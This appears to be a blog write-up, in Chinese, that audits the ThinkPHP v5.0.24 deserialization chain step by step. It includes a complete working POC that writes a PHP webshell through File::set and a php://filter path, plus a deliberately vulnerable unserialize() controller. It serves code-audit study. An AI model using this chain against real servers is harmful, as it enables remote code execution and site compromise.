ThinkPHP v5.0.24 反序列化
ThinkPHP v5.0.24 反序列化
前言
昨天花了一下午的时间才把反序列化链给审明白,今天记录一下笔记再来审一遍。(自己还是太菜了~~~)
在我的印象中,ThinkPHP框架的漏洞非常多,所以也是学习代码审计的优选,提升代码能力,从每一天做起!
在这一次的审计中,因为没有使用动态调试,所以使用的是vscode进行审计,如果需要动态调试,我将会使用到PHPStorm。使用vscode的原因有:1. 具有语法高亮 2.可以进行定义跳转 3.可以进行全局文件及内容搜索,在分析的过程中我会逐一体现以上优点。
环境搭建
ThinkPHP这里提供两种环境搭建的方法
- 从Github中下载源码
https://github.com/top-think/think
再Releases中找到V5.0.24并下载

之后在目录下通过composer去更新源码
composer update
- 通过composer直接下载源码
直接使用composer去创建一个v5.0.24的ThinkPHP项目
composer create-project topthink/think tp 5.0.24
源码下载完成之后,因为并不存在反序列化入口,所以需要我们手动添加
在application\index\controller\Index.php中加入一个新的方法
public function hello()
{
$payload = $_POST['payload'];
@unserialize($payload);
return "";
}
上下文如图:

反序列化分析
先把反序列化链调用过程写出来:
File.php:160, think\cache\driver\File->set()
Memcache.php:94, think\session\driver\Memcache->write()
Output.php:154, think\console\Output->write()
Output.php:143, think\console\Output->writeln()
Output.php:124, think\console\Output->block()
Output.php:212, call_user_func_array()
Output.php:212, think\console\Output->__call()
Model.php:912, think\console\Output->getAttr()
Model.php:912, think\Model->toArray()
Model.php:936, think\Model->toJson()
Model.php:2267, think\Model->__toString()
Windows.php:163, file_exists()
Windows.php:163, think\process\pipes\Windows->removeFiles()
Windows.php:59, think\process\pipes\Windows->__destruct()
Index.php:14, app\index\controller\Index->hello()
Windows.php入口
前人栽树,后人乘凉,我们直接找到反序列化链的入口文件,从该类的__destruct方法开始寻找
使用Ctrl+P快速搜索文件

使用Ctrl+F进行搜索定位关键字

接着按住Ctrl然后左键点击removeFiles直接跳转到removeFiles方法
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
跟随可控点$this→files发现file_exists函数可以触发__toString方法
使用Ctrl+Shift+F进行全局搜索function __toString

通过查看我们发现除了Input.php和Expression.php都是可以去接着触发__call方法的,这里我们选择大佬们选择的Model.php
Model.php中定义了一个抽象类Model,所以我们需要找到一个它的子类进行定义,这里我们只需要全局搜索extends Model,这里找到了Merge和Pivot,都可以使用,这里选择Pivot
每结束一部分,我们去编写每一部分的exp,否则最后还得重头再找一遍
namespace think\process\pipes;
use think\model\Pivot;
class Pipes
{
}
class Windows extends Pipes
{
private $files = [];
public function __construct()
{
$this->files = [new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
Model.php过渡
跳转至该类的__toString方法
public function __toString()
{
return $this->toJson();
}
继续跳转至toJson方法
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
继续跳转至toArray方法
我们看到了有很多的代码,这是审计过程中的第一道难关,我们先去大概的看一下每条代码,尝试去寻找可控参数并且尝试进行下一次跳转
直到进入887行的if语句才有了可控参数跳转__call方法的机会
这里找到了3个利用点:
- 892行的
$relation可控 - 896行的
$relation可控 - 912行的
$value可控
前两者的用法是一样的,最后一种难度较高,但这三个都可以成功利用,这里我们用第3种难度较高的
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
首先我们要保证$this→append数组不为空,其次在遍历数组时,要进入第三个else语句中,需要满足
is_array($name) // 值不为数组
strpos($name, '.') // 值中不含.
之后进入了Loader::parseName方法
public static function parseName($name, $type = 0, $ucfirst = true)
{
if ($type) {
$name = preg_replace_callback('/_([a-zA-Z])/', function ($match) {
return strtoupper($match[1]);
}, $name);
return $ucfirst ? ucfirst($name) : lcfirst($name);
}
return strtolower(trim(preg_replace("/[A-Z]/", "_\\0", $name), "_"));
}
就是对传入的参数进行了大小写转换和特殊符号转换,对正常字符串没有影响
我们想要达到912行还需要满足三个条件:
method_exists($this, $relation) // 自身中存在$relation方法
//$modelRelation = $this->$relation();
method_exists($modelRelation, 'getBindAttr') // $modelRelation类中存在getBindAttr方法
//$bindAttr = $modelRelation->getBindAttr();
$bindAttr = $modelRelation->getBindAttr() // $modelRelation->getBindAttr()的返回值为true
isset($this->data[$key]) // $this->data[$key]不存在
首先$relation其实就是$name,$name是$this→append的值,故可控,并且该方法的返回值必须得存在getBindAttr方法才能满足第二个条件
我们先去找一下该类的哪一个方法可以返回一个任意的类对象,使用正则匹配return \$this->.*,我们能和找到不少可以利用的,我们使用逻辑简单的利用
public function getError()
{
return $this->error;
}
我们只需要给$this→error赋值即可返回想要的类对象,我们再去全局搜索有getBindAttr方法的类,只找到了一个OneToOne抽象类,所以还需要搜索extends OneToOne
然后我们找到了HasOne和BelongsTo类,二者都可利用,这里我们使用HasOne
public function getBindAttr()
{
return $this->bindAttr;
}
然后需要满足第三个条件就需要使得getBindAttr方法返回一个true值,这里也是可控的,最后一个条件因为$this→data默认为空并且也是可控的,故很好满足
但是成功到达目的地后我们需要让$value为一个类对象从而实现向__call的跳转
$value = $this->getRelationData($modelRelation);
如之前所说$modelRelation是HasOne类示例,进入getRelationData方法
protected function getRelationData(Relation $modelRelation)
{
if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
$value = $this->parent;
} else {
// 首先获取关联数据
if (method_exists($modelRelation, 'getRelation')) {
$value = $modelRelation->getRelation();
} else {
throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation');
}
}
return $value;
}
642行处我们可以获得我们想要的结果在651行返回,所以我们需要满足if语句的条件
$this->parent // 不为空
!$modelRelation->isSelfRelation() // Relation::isSelfRelation返回值为false
get_class($modelRelation->getModel()) == get_class($this->parent)) // Relation::getModel返回值类型和$this->parent相同
$this→parent可控,查看Relation::isSelfRelation方法
public function isSelfRelation()
{
return $this->selfRelation;
}
$this->selfRelation可控,查看Relation::getModel方法
public function getModel()
{
return $this->query->getModel();
}

可控且默认为Query类,查看getModel方法
public function getModel()
{
return $this->model;
}
$this->model可控,只需要让它和$this->parent类型相同即可,$this->parent又和$value相同,故我们先寻找__call方法,这里感觉也有好几个利用点,选择一个Output进行利用
于是我们编写这块的exp如下:
namespace think;
use think\console\Output;
use think\model\relation\HasOne;
abstract class Model implements \JsonSerializable, \ArrayAccess
{
protected $append = [];
protected $error;
public $parent;
public function __construct()
{
$this->append = ["getError"];
$this->error = new HasOne();
$this->parent = new Output();
}
}
namespace think\model\relation;
use think\model\Relation;
abstract class OneToOne extends Relation
{
protected $bindAttr = [];
function __construct()
{
parent::__construct();
$this->bindAttr = ["seizer", "seizer"];
}
}
class HasOne extends OneToOne
{
function __construct()
{
parent::__construct();
}
}
namespace think\model;
use think\db\Query;
abstract class Relation
{
protected $selfRelation;
protected $query;
public function __construct()
{
$this->selfRelation = false;
$this->query = new Query();
}
}
namespace think\db;
use think\console\Output;
class Query
{
protected $model;
public function __construct()
{
$this->model = new Output();
}
}
Output.php过渡
跳转至__call方法,这里传入的第一个参数为”getAttr”和$this->bindAttr的值”seizer”,第二个参数为可控值
public function __call($method, $args) // getAttr, ["seizer"]
{
if (in_array($method, $this->styles)) {
array_unshift($args, $method);
return call_user_func_array([$this, 'block'], $args);
}
if ($this->handle && method_exists($this->handle, $method)) {
return call_user_func_array([$this->handle, $method], $args);
} else {
throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
}
}
$this→styles可控,这里我们进入第一if进行追踪,跳转至block方法
protected function block($style, $message) // getAttr, seizer
{
$this->writeln("<{$style}>{$message}</$style>");
}
跳转至writeln方法
public function writeln($messages, $type = self::OUTPUT_NORMAL) // <getAttr>seizer</getAttr>
{
$this->write($messages, true, $type);
}
跳转至write方法
public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL) // <getAttr>seizer</getAttr>
{
$this->handle->write($messages, $newline, $type);
}
$this→handle可控,搜索还有哪些类有可利用的write,这里选择Memcache.php中的write方法
编写这部分的exp:
namespace think\console;
use think\session\driver\Memcache;
class Output
{
private $handle = null;
protected $styles = [];
public function __construct()
{
$this->handle = new Memcache();
$this->styles = ['getAttr'];
}
}
Memcache.php过渡
跳转至write方法
public function write($sessID, $sessData) // <getAttr>seizer</getAttr>, flase
{
return $this->handler->set($this->config['session_name'] . $sessID, $sessData, 0, $this->config['expire']);
}
$this→headler可控,查看可跳转的set方法,这里选择了File.php的set方法进行利用
构造该部分的exp:
namespace think\session\driver;
use SessionHandler;
use think\cache\driver\File;
class Memcache extends SessionHandler
{
protected $handler = null;
public function __construct()
{
$this->handler = new File();
}
}
File.php终点
public function set($name, $value, $expire = null) // <getAttr>seizer</getAttr>, flase
{
if (is_null($expire)) {
$expire = $this->options['expire'];
}
if ($expire instanceof \DateTime) {
$expire = $expire->getTimestamp() - time();
}
$filename = $this->getCacheKey($name, true);
if ($this->tag && !is_file($filename)) {
$first = true;
}
$data = serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<\?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
var_dump($filename);
echo "<br>";
var_dump($data);
echo "<br>";
$result = file_put_contents($filename, $data);
if ($result) {
isset($first) && $this->setTagItem($filename);
clearstatcache();
return true;
} else {
return false;
}
}
163行处存在危险函数file_put_contents,我们想办法加以利用写入webshell
149行$filenama由参数$name经过getCacheKey方法处理后的值

其中$this->options可控,可以让cache_subdir为false,让返回的$filename = $this->options['path'] . $name . '.php';,故$filename前部分内容可控
$data则是第二个参数$value的序列化值,不可控,再执行file_put_contents时还未能写入任意内容
进入161行调用的setTagItem方法
protected function setTagItem($name)
{
if ($this->tag) {
$key = 'tag_' . md5($this->tag);
$this->tag = null;
if ($this->has($key)) {
$value = explode(',', $this->get($key));
$value[] = $name;
$value = implode(',', array_unique($value));
} else {
$value = $name;
}
$this->set($key, $value, 0);
}
}
这里200行再次调用set方法,且此时的第二个参数变为可控值,为$name也就是刚才的$filename
再次调用File::set方法,因为这里的$key也就是set方法的$name参数还会进入$this->getCacheKey方法,导致该参数也可控,从而使得第二次调用set时,file_put_contents的俩个参数都可控
我们构造这一块的exp:
namespace think\cache\driver;
use think\cache\Driver;
class File extends Driver
{
protected $options = [];
public function __construct()
{
parent::__construct();
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgcGhwaW5mbygpOz8+IA==/../a.php',
'data_compress' => false,
];
}
}
namespace think\cache;
abstract class Driver
{
protected $tag;
public function __construct()
{
$this->tag = true;
}
}
POC
合并分析中所有的exp然后输出序列化字符串即可
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
打入payload后就会在根目录产生名为a.php3b58a9545013e88c7186db11bb158c44.php的php文件


浙公网安备 33010602011771号